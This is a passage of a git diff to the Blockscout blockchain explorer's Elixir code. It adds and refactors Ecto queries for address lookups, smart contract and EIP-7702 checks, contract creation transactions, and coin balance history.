fetched. + + ## Returns + + - `address`: The address if found. + - `nil`: If the address is not found. + """ + @spec get_by_hash(Hash.Address.t()) :: Chain.Address.t() | nil + def get_by_hash(address_hash) do + case Chain.hash_to_address( + address_hash, + necessity_by_association: %{:smart_contract => :optional, proxy_implementations_association() => :optional} + ) do + {:ok, address} -> address + _ -> nil + end + end + + @doc """ + Determines if the given address is a smart contract. + + This function checks the contract code of an address to determine if it's a + smart contract. + + ## Parameters + - `address`: The address to check. Can be an `Address` struct or any other value. + + ## Returns + - `true` if the address is a smart contract + - `false` if the address is not a smart contract + - `nil` if the contract code hasn't been loaded + """ + @spec smart_contract?(any()) :: boolean() | nil + def smart_contract?(%__MODULE__{contract_code: nil}), do: false + def smart_contract?(%__MODULE__{contract_code: _}), do: true + def smart_contract?(%NotLoaded{}), do: nil + def smart_contract?(_), do: false + + @doc """ + Determines if an address is a smart contract with non-empty bytecode. + + This function verifies that an address: + + 1. Is a smart contract (has contract_code) + 2. Has actual bytecode content (not just "0x") + + This distinction is important because addresses can exist in several states: + - Regular EOA - not contracts + - Contracts with functioning bytecode - operational smart contracts + - Contracts with empty bytecode - may have been self-destructed or + deployment failed + + ## Parameters + - `address`: The address to check. Can be an `Address` struct or any other + value. + + ## Returns + - `true` if the address is a smart contract with actual bytecode + - `false` otherwise + """ + @spec smart_contract_with_nonempty_code?(any()) :: boolean() + def smart_contract_with_nonempty_code?(%__MODULE__{contract_code: %Data{} = contract_code}), + do: not Data.empty?(contract_code) + + def smart_contract_with_nonempty_code?(_), do: false + + @doc """ + Checks if the given address is an Externally Owned Account (EOA) with code, + as defined in EIP-7702. + + This function determines whether an address represents an EOA that has + associated code, which is a special case introduced by EIP-7702. It checks + the contract code of the address for the presence of a delegate address + according to the EIP-7702 specification. + + ## Parameters + - `address`: The address to check. Can be an `Address` struct or any other value. + + ## Returns + - `true` if the address is an EOA with code (EIP-7702 compliant) + - `false` if the address is not an EOA with code + - `nil` if the contract code hasn't been loaded + """ + @spec eoa_with_code?(any()) :: boolean() | nil + def eoa_with_code?(%__MODULE__{} = address) do + !is_nil(EIP7702.quick_resolve_implementations(address)) + end + + def eoa_with_code?(%NotLoaded{}), do: nil + def eoa_with_code?(_), do: false + + defp get_addresses(options) do + addresses = fetch_top_addresses(options) + + addresses + |> Accounts.update() + + addresses + end + + @default_sorting [desc: :fetched_coin_balance, asc: :hash] + + defp fetch_top_addresses(options) do + paging_options = Keyword.get(options, :paging_options, @default_paging_options) + sorting_options = Keyword.get(options, :sorting, []) + + necessity_by_association = + Keyword.get(options, :necessity_by_association, %{ + :names => :optional, + :smart_contract => :optional, + proxy_implementations_association() => :optional + }) + + case paging_options do + %PagingOptions{key: {0, _hash}} -> + [] + + _ -> + base_query = + from(a in Address, + where: a.fetched_coin_balance > ^0 + ) + + base_query + |> Chain.join_associations(necessity_by_association) + |> SortingHelper.apply_sorting(sorting_options, @default_sorting) + |> SortingHelper.page_with_sorting(paging_options, sorting_options, @default_sorting) + |> Chain.select_repo(options).all() + end + end + + @doc """ + Checks if an `t:Explorer.Chain.Address.t/0` with the given `hash` exists. + + Returns `:ok` if found + + iex> {:ok, %Explorer.Chain.Address{hash: hash}} = Explorer.Chain.Address.create( + ...> %{hash: "0x5aaeb6053f3e94c9b9a09f33669435e7ef1beaed"} + ...> ) + iex> Explorer.Address.check_address_exists(hash) + :ok + + Returns `:not_found` if not found + + iex> {:ok, hash} = Explorer.Chain.string_to_address_hash("0x5aaeb6053f3e94c9b9a09f33669435e7ef1beaed") + iex> Explorer.Address.check_address_exists(hash) + :not_found + + """ + @spec check_address_exists(Hash.Address.t(), [Chain.api?()]) :: :ok | :not_found + def check_address_exists(address_hash, options \\ []) do + address_hash + |> address_exists?(options) + |> Chain.boolean_to_check_result() + end + + @doc """ + Checks if an `t:Explorer.Chain.Address.t/0` with the given `hash` exists. + + Returns `true` if found + + iex> {:ok, %Explorer.Chain.Address{hash: hash}} = Explorer.Chain.Address.create( + ...> %{hash: "0x5aaeb6053f3e94c9b9a09f33669435e7ef1beaed"} + ...> ) + iex> Explorer.Chain.Address.address_exists?(hash) + true + + Returns `false` if not found + + iex> {:ok, hash} = Explorer.Chain.string_to_address_hash("0x5aaeb6053f3e94c9b9a09f33669435e7ef1beaed") + iex> Explorer.Chain.Address.address_exists?(hash) + false + + """ + @spec address_exists?(Hash.Address.t(), [Chain.api?()]) :: boolean() + def address_exists?(address_hash, options \\ []) do + query = Address.address_query(address_hash) + + Chain.select_repo(options).exists?(query) + end + + @doc """ + Retrieves the creation transaction for a given address. + + ## Parameters + - `address`: The address for which to find the creation transaction. + + ## Returns + - `nil` if no creation transaction is found. + - `%InternalTransaction{}` if the creation transaction is an internal transaction. + - `%Transaction{}` if the creation transaction is a regular transaction. + """ + @spec creation_transaction(any()) :: nil | InternalTransaction.t() | Transaction.t() + def creation_transaction(%__MODULE__{contract_creation_internal_transaction: %InternalTransaction{}} = address) do + address.contract_creation_internal_transaction + end + + def creation_transaction(%__MODULE__{contract_creation_transaction: %Transaction{}} = address) do + address.contract_creation_transaction + end + + def creation_transaction(_address), do: nil + + @doc """ + Creates a query for preloading contract creation transactions. + + This query sorts transactions by: + + 1. status (descending with nulls last) + 2. block number (descending with nulls last) + 3. index (descending with nulls last), + + and limits to one result. + + ## Returns + + A `Ecto.Query` that can be used to preload the contract creation transaction. + """ + @spec contract_creation_transaction_preload_query() :: Ecto.Query.t() + def contract_creation_transaction_preload_query do + from( + t in Transaction, + order_by: [ + desc_nulls_last: t.status, + desc_nulls_last: t.block_number, + desc_nulls_last: t.index + ], + limit: 1 + ) + end + + @doc """ + Generates a query to fetch an address with associated bytecode. + + This function constructs an Ecto query that retrieves an address + from the database where the `hash` matches the given `address_hash` + and the `contract_code` is not `nil`. + + ## Parameters + + - `address_hash`: The hash of the address to query for. + + ## Returns + + An Ecto query that can be executed to fetch the desired address. + + """ + @spec address_with_bytecode_query(Hash.Address.t()) :: Ecto.Query.t() + def address_with_bytecode_query(address_hash) do + from( + address in __MODULE__, + where: address.hash == ^address_hash and not is_nil(address.contract_code) + ) + end + + @doc """ + Creates a query for preloading contract creation internal transactions. + + This query filters for internal transactions with index > 0, sorts them by: + + 1. error (ascending with nulls first) + 2. block number (descending) + 3. block index (descending) + + and limits to one result. + + ## Returns + + A `Ecto.Query` that can be used to preload the contract creation internal + transaction. + """ + @spec contract_creation_internal_transaction_preload_query() :: Ecto.Query.t() + def contract_creation_internal_transaction_preload_query do + from( + it in InternalTransaction, + where: it.index > 0, + order_by: [ + asc_nulls_first: it.error, + desc: it.block_number, + desc: it.block_index + ], + limit: 1 + ) + end + + @doc """ + Generates a query to retrieve addresses that have associated bytecode. + + ## Parameters + + - `hashes`: A list of address hashes to filter by. + + ## Returns + + - An Ecto query that selects addresses from the database where the `hash` is in the provided list + and the `contract_code` field is not `nil`. + + """ + @spec addresses_with_bytecode_query([Hash.Address.t()]) :: Ecto.Query.t() + def addresses_with_bytecode_query(hashes) do + from( + address in __MODULE__, + where: address.hash in ^hashes and not is_nil(address.contract_code) + ) + end + + @doc """ + Returns contract creation transaction association specification. + + ## Note + IMPORTANT: This association function should be used ONLY for single address + operations. Using it with multiple addresses may produce unexpected results. + + As noted in [Ecto documentation](https://hexdocs.pm/ecto/Ecto.Query.html#preload/3-preload-queries), + operations like `limit` and `offset` in preload queries affect the entire + result set, not each individual association. When working with collections of + addresses, consider using window functions instead of these helpers. + + ## Returns + A keyword list with the contract creation transaction association. + """ + @spec contract_creation_transaction_association() :: keyword() + def contract_creation_transaction_association do + [ + contract_creation_transaction: Address.contract_creation_transaction_preload_query() + ] + end + + @doc """ + Same as `contract_creation_transaction_association/0`, but preloads a nested + association for the `from_address` field. Used for Filecoin chain type. + """ + @spec contract_creation_transaction_with_from_address_association() :: keyword() + def contract_creation_transaction_with_from_address_association do + [ + contract_creation_transaction: { + Address.contract_creation_transaction_preload_query(), + :from_address + } + ] + end + + @doc """ + Returns contract creation internal transaction association specification. + + ## Note + IMPORTANT: This association function should be used ONLY for single address + operations. Using it with multiple addresses may produce unexpected results. + + As noted in [Ecto documentation](https://hexdocs.pm/ecto/Ecto.Query.html#preload/3-preload-queries), + operations like `limit` and `offset` in preload queries affect the entire + result set, not each individual association. When working with collections of + addresses, consider using window functions instead of these helpers. + + ## Returns + A keyword list with the contract creation internal transaction association. + """ + @spec contract_creation_internal_transaction_association() :: keyword() + def contract_creation_internal_transaction_association do + [ + contract_creation_internal_transaction: Address.contract_creation_internal_transaction_preload_query() + ] + end + + @doc """ + Same as `contract_creation_internal_transaction_association/0`, but + preloads a nested association for the `from_address` field. Used for Filecoin + chain type. + """ + @spec contract_creation_internal_transaction_with_from_address_association() :: keyword() + def contract_creation_internal_transaction_with_from_address_association do + [ + contract_creation_internal_transaction: { + Address.contract_creation_internal_transaction_preload_query(), + :from_address + } + ] + end + + @doc """ + Returns both contract creation transaction and internal transaction + associations. + + This is a convenience function that combines both types of contract creation + associations. + + ## Returns + + A list containing both contract creation transaction and internal transaction + associations. + """ + @spec contract_creation_transaction_associations() :: [keyword()] + def contract_creation_transaction_associations do + [ + contract_creation_transaction_association(), + contract_creation_internal_transaction_association() + ] + end + + @doc """ + Same as `contract_creation_transaction_associations/0`, but preloads a nested + association for the `from_address` field. Used for Filecoin chain type. + """ + @spec contract_creation_transaction_with_from_address_associations() :: [keyword()] + def contract_creation_transaction_with_from_address_associations do + [ + contract_creation_transaction_with_from_address_association(), + contract_creation_internal_transaction_with_from_address_association() + ] + end + + @doc """ + Finds contract addresses from a list of hashes. + + ## Parameters + + - `hashes`: A list of hashes to search for contract addresses. + - `options`: An optional keyword list of options. + + ## Options + + - `:necessity_by_association`: A map of associations with their necessity (default: `%{}`). + + ## Returns + + - `{:ok, addresses}`: A tuple with `:ok` and a list of found addresses. + - `{:error, :not_found}`: A tuple with `:error` and `:not_found` if no addresses are found. + + """ + @spec find_contract_addresses([Hash.Address.t()], [Chain.necessity_by_association_option() | Chain.api?()]) :: + {:ok, [Address.t()]} | {:error, :not_found} + def find_contract_addresses( + hashes, + options \\ [] + ) do + necessity_by_association = + options + |> Keyword.get(:necessity_by_association, %{}) + |> Map.merge(%{ + Implementation.proxy_implementations_association() => :optional + }) + + hashes + |> addresses_with_bytecode_query() + |> Chain.join_associations(necessity_by_association) + |> Chain.select_repo(options).all() + |> Enum.map(fn address_result -> + update_address_result(address_result, options, true) + end) + |> case do + [] -> {:error, :not_found} + addresses -> {:ok, addresses} + end + end + + @spec update_address_result( + map() | nil, + [Chain.necessity_by_association_option() | Chain.api?() | Chain.ip()], + boolean() + ) :: + map() | nil + def update_address_result(address_result, options, decoding_from_list?) do + LookUpSmartContractSourcesOnDemand.trigger_fetch(options[:ip], address_result) + + case address_result do + %{smart_contract: nil} -> + if decoding_from_list? do + address_result + else + SmartContract.compose_address_for_unverified_smart_contract(address_result, options) + end + + %{smart_contract: smart_contract} -> + CheckBytecodeMatchingOnDemand.trigger_check(options[:ip], address_result, smart_contract) + + SmartContract.check_and_update_constructor_args(address_result) + + _ -> + address_result + end + end + + @doc """ + Constructs a query to retrieve the most recent internal transaction that created + a smart contract at the specified `address_hash`. + + The query joins the `InternalTransaction` with its associated `Transaction`, + filters for internal transactions where the `created_contract_address_hash` matches + the given `address_hash`, and ensures that the transaction status is successful (`status == 1`). + + The results are ordered by `block_number` in descending order, and the query is limited + to return only the most recent matching internal transaction. + """ + @spec creation_internal_transaction_query(binary() | Hash.t()) :: Ecto.Query.t() + def creation_internal_transaction_query(address_hash) do + from( + it in InternalTransaction, + inner_join: t in assoc(it, :transaction), + where: it.created_contract_address_hash == ^address_hash, + where: t.status == ^1, + order_by: [desc: it.block_number], + limit: 1 + ) + end end diff --git a/apps/explorer/lib/explorer/chain/address/coin_balance.ex b/apps/explorer/lib/explorer/chain/address/coin_balance.ex index 8eeda72b7932..ce88b1a00b87 100644 --- a/apps/explorer/lib/explorer/chain/address/coin_balance.ex +++ b/apps/explorer/lib/explorer/chain/address/coin_balance.ex @@ -6,8 +6,8 @@ defmodule Explorer.Chain.Address.CoinBalance do use Explorer.Schema - alias Explorer.PagingOptions - alias Explorer.Chain.{Address, Block, Hash, Transaction, Wei} + alias Explorer.{Chain, PagingOptions, Repo} + alias Explorer.Chain.{Address, Block, Hash, InternalTransaction, Transaction, Wei} alias Explorer.Chain.Address.CoinBalance @optional_fields ~w(value value_fetched_at)a @@ -27,34 +27,355 @@ defmodule Explorer.Chain.Address.CoinBalance do given `address`, the `t:Explorer.Chain.Address.t/0` `fetched_coin_balance` will match this value. * `value_fetched_at` - when `value` was fetched. """ - @type t :: %__MODULE__{ - address: %Ecto.Association.NotLoaded{} | Address.t(), - address_hash: Hash.Address.t(), - block_number: Block.block_number(), - inserted_at: DateTime.t(), - updated_at: DateTime.t(), - value: Wei.t() | nil - } - @primary_key false - schema "address_coin_balances" do - field(:block_number, :integer) + typed_schema "address_coin_balances" do + field(:block_number, :integer) :: Block.block_number() field(:value, Wei) field(:value_fetched_at, :utc_datetime_usec) field(:delta, Wei, virtual: true) field(:transaction_hash, Hash.Full, virtual: true) - field(:transaction_value, Wei, virtual: true) field(:block_timestamp, :utc_datetime_usec, virtual: true) timestamps() - belongs_to(:address, Address, foreign_key: :address_hash, references: :hash, type: Hash.Address) + belongs_to(:address, Address, foreign_key: :address_hash, references: :hash, type: Hash.Address, null: false) + end + + @doc """ + Builds a query to fetch the timestamp and value of the most recent coin balance for a given address. + + This function constructs a query that retrieves the latest coin balance record + for the specified address and joins it with block information to get the + timestamp when that balance was recorded. The query ensures that only + consensus blocks (not uncle blocks) are considered for the balance data. + + ## Parameters + - `address_hash`: The address hash to look up the most recent coin balance for + + ## Returns + - An Ecto query that when executed returns a map with: + - `timestamp`: The timestamp when the block containing the latest balance was mined + - `value`: The coin balance value in Wei at that block + """ + @spec last_coin_balance_timestamp(Hash.Address.t()) :: Ecto.Query.t() + def last_coin_balance_timestamp(address_hash) do + coin_balance_query = + CoinBalance + |> where([cb], cb.address_hash == ^address_hash) + |> last(:block_number) + |> select([cb, b], %{block_number: cb.block_number, value: cb.value}) + + from( + cb in subquery(coin_balance_query), + inner_join: block in Block, + on: cb.block_number == block.number, + where: block.consensus == true, + select: %{timestamp: block.timestamp, value: cb.value} + ) + end + + def changeset(%__MODULE__{} = balance, params) do + balance + |> cast(params, @allowed_fields) + |> validate_required(@required_fields) + |> unique_constraint(:block_number, name: :address_coin_balances_address_hash_block_number_index) + end + + @doc """ + Query to fetch latest coin balance for the given address + """ + @spec latest_coin_balance_query(Hash.Address.t(), non_neg_integer()) :: Ecto.Query.t() + def latest_coin_balance_query(address_hash, stale_balance_window) do + from( + cb in __MODULE__, + where: cb.address_hash == ^address_hash, + where: cb.block_number >= ^stale_balance_window, + where: is_nil(cb.value_fetched_at), + order_by: [desc: :block_number], + limit: 1 + ) + end + + @doc """ + Returns a stream of unfetched `t:Explorer.Chain.Address.CoinBalance.t/0`. + + When there are addresses, the `reducer` is called for each `t:Explorer.Chain.Address.t/0` `hash` and all + `t:Explorer.Chain.Block.t/0` `block_number` that address is mentioned. + + | Address Hash Schema | Address Hash Field | Block Number Schema | Block Number Field | + |--------------------------------------------|---------------------------------|------------------------------------|--------------------| + | `t:Explorer.Chain.Block.t/0` | `miner_hash` | `t:Explorer.Chain.Block.t/0` | `number` | + | `t:Explorer.Chain.Transaction.t/0` | `from_address_hash` | `t:Explorer.Chain.Transaction.t/0` | `block_number` | + | `t:Explorer.Chain.Transaction.t/0` | `to_address_hash` | `t:Explorer.Chain.Transaction.t/0` | `block_number` | + | `t:Explorer.Chain.Log.t/0` | `address_hash` | `t:Explorer.Chain.Transaction.t/0` | `block_number` | + | `t:Explorer.Chain.InternalTransaction.t/0` | `created_contract_address_hash` | `t:Explorer.Chain.Transaction.t/0` | `block_number` | + | `t:Explorer.Chain.InternalTransaction.t/0` | `from_address_hash` | `t:Explorer.Chain.Transaction.t/0` | `block_number` | + | `t:Explorer.Chain.InternalTransaction.t/0` | `to_address_hash` | `t:Explorer.Chain.Transaction.t/0` | `block_number` | + + Pending `t:Explorer.Chain.Transaction.t/0` `from_address_hash` and `to_address_hash` aren't returned because they + don't have an associated block number. + + When there are no addresses, the `reducer` is never called and the `initial` is returned in an `:ok` tuple. + + When an `t:Explorer.Chain.Address.t/0` `hash` is used multiple times, all unique `t:Explorer.Chain.Block.t/0` `number` + will be returned. + """ + @spec stream_unfetched_balances( + initial :: accumulator, + reducer :: + (entry :: %{address_hash: Hash.Address.t(), block_number: Block.block_number()}, accumulator -> accumulator), + limited? :: boolean() + ) :: {:ok, accumulator} + when accumulator: term() + def stream_unfetched_balances(initial, reducer, limited? \\ false) when is_function(reducer, 2) do + query = + from( + balance in CoinBalance, + where: is_nil(balance.value_fetched_at), + select: %{address_hash: balance.address_hash, block_number: balance.block_number} + ) + + query + |> add_coin_balances_fetcher_limit(limited?) + |> Repo.stream_reduce(initial, reducer) end @doc """ - Builds an `Ecto.Query` to fetch the coin balance of the given address in the given block. + Retrieves the most recent coin balance for an address at or before a specified block number. + + This function queries the coin balance records for the given address hash, + filtering for balances at or before the specified block number. It returns + the most recent balance record, including calculated delta values and block + timestamps. The query uses a subquery approach to efficiently find the + latest balance while computing the difference from the previous balance. + + ## Parameters + - `address_hash`: Hash.Address.t() - The address hash to query balances for + - `block_number`: Block.block_number() - The maximum block number to consider + - `options`: keyword() - Query options including `:api?` for replica selection + + ## Returns + - `t() | nil` - The coin balance record with delta and timestamp fields, or + `nil` if no balance exists for the address at or before the block number """ - def fetch_coin_balance(address_hash, block_number) do + @spec get_coin_balance(Hash.Address.t(), Block.block_number(), keyword()) :: t() | nil + def get_coin_balance(address_hash, block_number, options \\ []) do + query = fetch_coin_balance(address_hash, block_number) + + Chain.select_repo(options).one(query) + end + + @doc """ + Retrieves paginated coin balance records for a given address with timestamp interpolation. + + This function fetches coin balance history for an address, applying pagination + and performing timestamp calculations for blocks. It includes an optimization + that returns an empty list immediately when the paging key is `{0}`, avoiding + unnecessary database queries. For other cases, it processes balances by + filtering records with values, calculating block timestamp ranges, and + interpolating timestamps for intermediate blocks when multiple blocks are + present. + + ## Parameters + - `address`: Address.t() - The address record to fetch coin balances for + - `options`: [Chain.paging_options() | Chain.api?()] - Query options including + paging configuration and API mode selection + + ## Returns + - `[t()]` - List of coin balance records sorted by block number in descending + order, with interpolated timestamps, or empty list if paging key is `{0}` or + no balances exist + """ + @spec address_to_coin_balances(Address.t(), [Chain.paging_options() | Chain.api?()]) :: [t()] + def address_to_coin_balances(address, options) do + paging_options = Keyword.get(options, :paging_options, PagingOptions.default_paging_options()) + + case paging_options do + %PagingOptions{key: {0}} -> + [] + + _ -> + address_to_coin_balances_internal(address, options, paging_options) + end + end + + defp address_to_coin_balances_internal(address, options, paging_options) do + balances_raw = + address.hash + |> fetch_coin_balances(paging_options) + |> page_coin_balances(paging_options) + |> Chain.select_repo(options).all() + |> preload_transactions(options) + + if Enum.empty?(balances_raw) do + balances_raw + else + balances_raw_filtered = + balances_raw + |> Enum.filter(fn balance -> balance.value end) + + min_block_number = + balances_raw_filtered + |> Enum.min_by(fn balance -> balance.block_number end, fn -> %{} end) + |> Map.get(:block_number) + + max_block_number = + balances_raw_filtered + |> Enum.max_by(fn balance -> balance.block_number end, fn -> %{} end) + |> Map.get(:block_number) + + min_block_timestamp = find_block_timestamp(min_block_number, options) + max_block_timestamp = find_block_timestamp(max_block_number, options) + + min_block_unix_timestamp = + min_block_timestamp + |> Timex.to_unix() + + max_block_unix_timestamp = + max_block_timestamp + |> Timex.to_unix() + + blocks_delta = max_block_number - min_block_number + + balances_with_dates = + if blocks_delta > 0 do + add_block_timestamp_to_balances( + balances_raw_filtered, + min_block_number, + min_block_unix_timestamp, + max_block_unix_timestamp, + blocks_delta + ) + else + add_min_block_timestamp_to_balances(balances_raw_filtered, min_block_unix_timestamp) + end + + balances_with_dates + |> Enum.sort(fn balance1, balance2 -> balance1.block_number >= balance2.block_number end) + end + end + + # Here we fetch from DB one transaction per one coin balance. It's much more faster than LEFT OUTER JOIN which was before. + defp preload_transactions(balances, options) do + tasks = + Enum.map(balances, fn balance -> + Task.async(fn -> preload_transactions_task(balance, options) end) + end) + + tasks + |> Task.yield_many(120_000) + |> Enum.zip(balances) + |> Enum.map(fn {{task, res}, balance} -> + case res do + {:ok, hash} -> + put_transaction_hash(hash, balance) + + {:exit, _reason} -> + balance + + nil -> + Task.shutdown(task, :brutal_kill) + balance + end + end) + end + + defp preload_transactions_task(balance, options) do + transaction_hash = + balance + |> preload_transaction_query() + |> Chain.select_repo(options).one() + + if is_nil(transaction_hash) do + balance + |> preload_internal_transaction_query() + |> Chain.select_repo(options).one() + else + transaction_hash + end + end + + defp preload_transaction_query(balance) do + Transaction + |> where( + [transaction], + transaction.block_number == ^balance.block_number and + (transaction.value > ^0 or (transaction.gas_price > ^0 and transaction.gas_used > ^0)) and + (transaction.to_address_hash == ^balance.address_hash or + transaction.from_address_hash == ^balance.address_hash) + ) + |> select([transaction], transaction.hash) + |> limit(1) + end + + defp preload_internal_transaction_query(balance) do + InternalTransaction + |> where( + [internal_transaction], + internal_transaction.block_number == ^balance.block_number and + internal_transaction.type in ~w(call create create2 selfdestruct)a and + (is_nil(internal_transaction.call_type) or internal_transaction.call_type == :call) and + internal_transaction.value > ^0 and is_nil(internal_transaction.error) and + (internal_transaction.to_address_hash == ^balance.address_hash or + internal_transaction.from_address_hash == ^balance.address_hash or + internal_transaction.created_contract_address_hash == ^balance.address_hash) + ) + |> select([internal_transaction], internal_transaction.transaction_hash) + |> limit(1) + end + + defp put_transaction_hash(hash, coin_balance), + do: if(hash, do: %CoinBalance{coin_balance | transaction_hash: hash}, else: coin_balance) + + defp add_block_timestamp_to_balances( + balances_raw_filtered, + min_block_number, + min_block_unix_timestamp, + max_block_unix_timestamp, + blocks_delta + ) do + balances_raw_filtered + |> Enum.map(fn balance -> + date = + trunc( + min_block_unix_timestamp + + (balance.block_number - min_block_number) * (max_block_unix_timestamp - min_block_unix_timestamp) / + blocks_delta + ) + + add_date_to_balance(balance, date) + end) + end + + defp add_min_block_timestamp_to_balances(balances_raw_filtered, min_block_unix_timestamp) do + balances_raw_filtered + |> Enum.map(fn balance -> + date = min_block_unix_timestamp + + add_date_to_balance(balance, date) + end) + end + + defp add_date_to_balance(balance, date) do + formatted_date = Timex.from_unix(date) + %{balance | block_timestamp: formatted_date} + end + + defp page_coin_balances(query, %PagingOptions{key: nil}), do: query + + defp page_coin_balances(query, %PagingOptions{key: {block_number}}) do + where(query, [coin_balance], coin_balance.block_number < ^block_number) + end + + defp find_block_timestamp(number, options) do + Block + |> where([block], block.number == ^number) + |> select([block], block.timestamp) + |> limit(1) + |> Chain.select_repo(options).one() + end + + defp fetch_coin_balance(address_hash, block_number) do coin_balance_subquery = from( cb in CoinBalance, @@ -75,35 +396,7 @@ defmodule Explorer.Chain.Address.CoinBalance do ) end - @doc """ - Builds an `Ecto.Query` to fetch the last coin balances that have value greater than 0. - - The last coin balance from an Address is the last block indexed. - """ - def fetch_coin_balances_with_txs(address_hash, %PagingOptions{page_size: page_size}) do - query = - from( - cb in CoinBalance, - left_join: tx in Transaction, - on: - cb.block_number == tx.block_number and tx.value > ^0 and - (cb.address_hash == tx.to_address_hash or cb.address_hash == tx.from_address_hash), - where: cb.address_hash == ^address_hash, - where: not is_nil(cb.value), - order_by: [desc: :block_number], - select_merge: %{ - delta: fragment("sa0.value - coalesce(lead(sa0.value, 1) over (order by sa0.block_number desc), 0)"), - transaction_hash: tx.hash, - transaction_value: tx.value - } - ) - - from(balance in subquery(query), - where: balance.delta != 0, - limit: ^page_size - ) - end - + @doc false def fetch_coin_balances(address_hash, %PagingOptions{page_size: page_size}) do query = from( @@ -112,7 +405,7 @@ defmodule Explorer.Chain.Address.CoinBalance do where: not is_nil(cb.value), order_by: [desc: :block_number], select_merge: %{ - delta: fragment("sa0.value - coalesce(lead(sa0.value, 1) over (order by sa0.block_number desc), 0)") + delta: fragment("? - coalesce(lead(?, 1) over (order by ? desc), 0)", cb.value, cb.value, cb.block_number) } ) @@ -120,44 +413,39 @@ defmodule Explorer.Chain.Address.CoinBalance do where: balance.delta != 0, limit: ^page_size, select_merge: %{ - transaction_hash: nil, - transaction_value: nil + transaction_hash: nil } ) end - @doc """ - Builds an `Ecto.Query` to fetch a series of balances by day for the given account. Each element in the series - corresponds to the maximum balance in that day. Only the last 90 days of data are used. - """ + @doc false def balances_by_day(address_hash, block_timestamp \\ nil) do - {days_to_consider, _} = + days_to_consider = Application.get_env(:block_scout_web, BlockScoutWeb.Chain.Address.CoinBalance)[:coin_balance_history_days] - |> Integer.parse() CoinBalance - |> join(:inner, [cb], b in Block, on: cb.block_number == b.number) + |> join(:inner, [cb], block in Block, on: cb.block_number == block.number) |> where([cb], cb.address_hash == ^address_hash) |> limit_time_interval(days_to_consider, block_timestamp) - |> group_by([cb, b], fragment("date_trunc('day', ?)", b.timestamp)) - |> order_by([cb, b], fragment("date_trunc('day', ?)", b.timestamp)) - |> select([cb, b], %{date: type(fragment("date_trunc('day', ?)", b.timestamp), :date), value: max(cb.value)}) + |> group_by([cb, block], fragment("date_trunc('day', ?)", block.timestamp)) + |> order_by([cb, block], fragment("date_trunc('day', ?)", block.timestamp)) + |> select([cb, block], %{date: type(fragment("date_trunc('day', ?)", block.timestamp), :date), value: max(cb.value)}) end - def limit_time_interval(query, days_to_consider, nil) do + defp limit_time_interval(query, days_to_consider, nil) do query |> where( - [cb, b], - b.timestamp >= + [cb, block], + block.timestamp >= fragment("date_trunc('day', now() - CAST(? AS INTERVAL))", ^%Postgrex.Interval{days: days_to_consider}) ) end - def limit_time_interval(query, days_to_consider, %{timestamp: timestamp}) do + defp limit_time_interval(query, days_to_consider, %{timestamp: timestamp}) do query |> where( - [cb, b], - b.timestamp >= + [cb, block], + block.timestamp >= fragment( "(? AT TIME ZONE ?) - CAST(? AS INTERVAL)", ^timestamp, @@ -167,27 +455,11 @@ defmodule Explorer.Chain.Address.CoinBalance do ) end - def last_coin_balance_timestamp(address_hash) do - coin_balance_query = - CoinBalance - |> where([cb], cb.address_hash == ^address_hash) - |> last(:block_number) - |> select([cb, b], %{block_number: cb.block_number, value: cb.value}) + defp add_coin_balances_fetcher_limit(query, false), do: query - from( - cb in subquery(coin_balance_query), - inner_join: b in Block, - on: cb.block_number == b.number, - where: b.consensus, - select: %{timestamp: b.timestamp, value: cb.value} - ) - end + defp add_coin_balances_fetcher_limit(query, true) do + coin_balances_fetcher_limit = Application.get_env(:indexer, :coin_balances_fetcher_init_limit) - def changeset(%__MODULE__{} = balance, params) do - balance - |> cast(params, @allowed_fields) - |> validate_required(@required_fields) - |> foreign_key_constraint(:address_hash) - |> unique_constraint(:block_number, name: :address_coin_balances_address_hash_block_number_index) + limit(query, ^coin_balances_fetcher_limit) end end diff --git a/apps/explorer/lib/explorer/chain/address/coin_balance_daily.ex b/apps/explorer/lib/explorer/chain/address/coin_balance_daily.ex index f2c677963a78..37edd6c2a19f 100644 --- a/apps/explorer/lib/explorer/chain/address/coin_balance_daily.ex +++ b/apps/explorer/lib/explorer/chain/address/coin_balance_daily.ex @@ -1,13 +1,12 @@ defmodule Explorer.Chain.Address.CoinBalanceDaily do @moduledoc """ Maximum `t:Explorer.Chain.Wei.t/0` `value` of `t:Explorer.Chain.Address.t/0` at the day. - This table is used to display coinn balance history chart. + This table is used to display coin balance history chart. """ use Explorer.Schema alias Explorer.Chain.{Address, Hash, Wei} - alias Explorer.Chain.Address.CoinBalanceDaily @optional_fields ~w(value)a @required_fields ~w(address_hash day)a @@ -21,23 +20,14 @@ defmodule Explorer.Chain.Address.CoinBalanceDaily do * `updated_at` - When the balance was last updated. * `value` - the max balance (`value`) of `address` during the `day`. """ - @type t :: %__MODULE__{ - address: %Ecto.Association.NotLoaded{} | Address.t(), - address_hash: Hash.Address.t(), - day: Date.t(), - inserted_at: DateTime.t(), - updated_at: DateTime.t(), - value: Wei.t() | nil - } - @primary_key false - schema "address_coin_balances_daily" do - field(:day, :date) + typed_schema "address_coin_balances_daily" do + field(:day, :date, null: false) field(:value, Wei) timestamps() - belongs_to(:address, Address, foreign_key: :address_hash, references: :hash, type: Hash.Address) + belongs_to(:address, Address, foreign_key: :address_hash, references: :hash, type: Hash.Address, null: false) end @doc """ @@ -46,11 +36,10 @@ defmodule Explorer.Chain.Address.CoinBalanceDaily do `n` is configurable via COIN_BALANCE_HISTORY_DAYS ENV var. """ def balances_by_day(address_hash) do - {days_to_consider, _} = + days_to_consider = Application.get_env(:block_scout_web, BlockScoutWeb.Chain.Address.CoinBalance)[:coin_balance_history_days] - |> Integer.parse() - CoinBalanceDaily + __MODULE__ |> where([cbd], cbd.address_hash == ^address_hash) |> limit_time_interval(days_to_consider) |> select([cbd], %{date: cbd.day, value: cbd.value}) @@ -70,7 +59,19 @@ defmodule Explorer.Chain.Address.CoinBalanceDaily do balance |> cast(params, @allowed_fields) |> validate_required(@required_fields) - |> foreign_key_constraint(:address_hash) |> unique_constraint(:day, name: :address_coin_balances_daily_address_hash_day_index) end + + @doc """ + Query to get latest balance by day for the given address + """ + @spec latest_by_day_query(Hash.Address.t()) :: Ecto.Query.t() + def latest_by_day_query(address_hash) do + from( + cbd in __MODULE__, + where: cbd.address_hash == ^address_hash, + order_by: [desc: :day], + limit: 1 + ) + end end diff --git a/apps/explorer/lib/explorer/chain/address/counters.ex b/apps/explorer/lib/explorer/chain/address/counters.ex new file mode 100644 index 000000000000..3f72d5c51df0 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/address/counters.ex @@ -0,0 +1,613 @@ +defmodule Explorer.Chain.Address.Counters do + 